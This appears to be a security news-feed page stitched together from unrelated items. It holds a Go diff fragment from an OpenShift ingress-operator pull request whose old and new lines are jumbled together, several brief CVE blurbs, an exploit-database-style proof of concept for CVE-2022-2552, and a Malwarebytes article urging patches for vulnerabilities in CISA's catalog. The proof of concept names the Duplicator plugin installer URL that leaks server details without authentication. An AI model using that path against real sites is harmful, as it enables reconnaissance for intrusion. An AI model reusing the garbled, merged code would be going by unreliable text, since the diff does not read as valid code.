log.Info("removed finalizer from load balancer service", "namespace", service.Namespace, "name", service.Name)  
return true, nil }  
// finalizeLoadBalancerService removes the "ingress.openshift.io/operator" finalizer // from the load balancer service of ci. This was for helping with DNS cleanup, but // that's no longer necessary. We just need to clear the finalizer which might exist // on existing resources. // TODO: How can we delete this code? func (r \*reconciler) finalizeLoadBalancerService(ci \*operatorv1.IngressController) (bool, error) { haveLBS, service, err := r.currentLoadBalancerService(ci) if err != nil { @@ -450,6 +247,16 @@ func (r \*reconciler) finalizeLoadBalancerService(ci \*operatorv1.IngressControlle if !haveLBS { return false, nil } \_, err = r.deleteLoadBalancerServiceFinalizer(service) return true, err // Mutate a copy to avoid assuming we know where the current one came from // (i.e. it could have been from a cache). updated := service.DeepCopy() if slice.ContainsString(updated.Finalizers, manifests.LoadBalancerServiceFinalizer) { updated.Finalizers = slice.RemoveString(updated.Finalizers, manifests.LoadBalancerServiceFinalizer) if err := r.client.Update(context.TODO(), updated); err != nil { return true, fmt.Errorf("failed to remove finalizer from service %s/%s for ingress %s/%s: %v", service.Namespace, service.Name, ci.Namespace, ci.Name, err) } } log.Info("finalized load balancer service for ingress", "namespace", ci.Namespace, "name", ci.Name) return true, nil }

CVE-2020-27836: Bug 1905490: Revert "Support changing ingresscontroller load balancer scope" by Miciah · Pull Request #507 · openshift/cluster-ingress-operator

Authenticated (admin+) Stored Cross-Site Scripting (XSS) vulnerability in WebbaPlugins Webba Booking plugin <= 4.2.21 at WordPress.

CVE-2021-36847: Webba Booking: Appointment & Event Booking Calendar Plugin

The Duplicator WordPress plugin before 1.4.7.1 does not authenticate or authorize visitors before displaying information about the system such as server software, php version and full file system path to the site.

**Exploit Title: WordPress Plugin Duplicator <= 1.4.7 - Unauthenticated System Information Disclosure**

    # Exploit Title: WordPress Plugin Duplicator <= 1.4.7 - Unauthenticated System Information Disclosure
    # Google Dork: N/A
    # Date: 07.27.2022
    # Exploit Author: SecuriTrust
    # Vendor Homepage: https://snapcreek.com/
    # Software Link: https://wordpress.org/plugins/duplicator/
    # Version: <= 1.4.7
    # Tested on: Linux, Windows
    # CVE : CVE-2022-2552
    # Reference: https://securitrust.fr
    # Reference: https://github.com/SecuriTrust/CVEsLab/CVE-2022-2552
    
    #Product:
    WordPress Plugin Duplicator <= 1.4.7
    
    #Vulnerability:
    1-Some system information may be disclosure.
    
    #Proof-Of-Concept:
    1-System information.
    Some system information is obtained using the "view" parameter.
    http://[PATH]/backups-dup-lite/dup-installer/main.installer.php

CVE-2022-2552: CVEsLab/CVE-2022-2552 at main · SecuriTrust/CVEsLab

Categories: Exploits and vulnerabilities
Categories: News
CISA updated its catalog of actively exploited vulnerabilities. Make sure you update your software before the due date!



(Read more...)




The post CISA wants you to patch these actively exploited vulnerabilities before September 8 appeared first on Malwarebytes Labs.

On Thursday, CISA (the US Cybersecurity and Infrastructure Security Agency) updated its catalog of actively exploited vulnerabilities by adding seven new entries. These flaws were found in Apple, Google, Microsoft, Palo Alto Networks, and SAP products. CISA set the due date for everyone to patch the weaknesses by September 8, 2022.

CVE-2022-22536, an SAP flaw with the highest risk score of 10, is one of the seven. We wrote about it in February, and thankfully, SAP addressed the issue fairly quickly, too, by issuing a patch. CISA even mentioned that if customers fail to patch CVE-2022-22536, they could be exposed to ransomware attacks, data theft, financial fraud, and other business disruptions that'd cost them millions.

**CVE-2022-32893** and **CVE-2022-32894**, the two zero-day, out-of-bounds write vulnerabilities affecting iOS, iPadOS, and macOS, continue to headline as of this writing. These are serious flaws that, if left unpatched, could allow anyone to take control of vulnerable Apple systems. Apple already released fixes for these from the following support pages:

*   About the security content of iOS 15.6.1 and iPadOS 15.6.1
*   About the security content of macOS Monterey 12.5.1
*   About the security content of Safari 15.6.1

The Google Chrome flaw with high severity, **CVE-2022-2856**, is also confirmed to be targeted by hackers. As with other zero-days, technical details about it are light, but the advisory states that the flaw is an "insufficient validation of untrusted input in Intents." The Intents technology works in the background and is involved in processing user input or handling a system event. If this flaw is exploited, anyone could create a malicious input that Chrome may validate incorrectly, leading to arbitrary code execution or system takeover.

Google already patched this. While Chrome should've updated automatically, it is recommended to force an update check to ensure the patch is applied.

Microsoft also has patches available for **CVE-2022-21971** and **CVE-2022-26923** in February and May, respectively. The former was given an "exploitation less likely" probability, but that has already changed—a proof-of-concept (PoC) has been available since March. PoC exploits were also made public for the latter Microsoft flaw. However, these were released after Microsoft had already pushed out a patch.

Palo Alto Networks's is the oldest among the new vulnerabilities added to the catalog. Discovered in 2017, **CVE-2017-15944** has a severity rating of 9.8 (Critical). Once exploited, attackers could perform remote code execution on affected systems. You can read more about this flaw on Palo Alto's advisory page.

Malwarebytes advises readers to apply patches to these flaws if they use products of the companies we mentioned. You don't have to wait for the due date before you act.

Tag

#google